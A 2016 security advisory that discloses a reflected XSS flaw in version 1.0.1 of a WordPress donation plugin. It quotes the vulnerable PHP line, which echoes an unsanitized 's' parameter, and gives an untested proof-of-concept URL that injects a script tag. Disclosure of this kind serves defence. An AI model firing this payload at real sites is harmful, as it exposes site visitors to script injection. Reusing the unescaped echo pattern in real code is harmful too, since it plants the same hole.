Advisory #: 776
Title: Reflected XSS in wordpress plugin wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg v1.0.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg
Downloads: 9218
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg/mydonate.php: 169: <input type="text" id="donate-search-input" name="s" value="<?php echo $_GET["s"]; ?>" /> The variable s appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg/mydonate.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wordpress-donation-plugin-with-goals-and-paypal-ipn-by-nonprofitcmsorg/mydonate.php?s="><script>alert(1);</script><"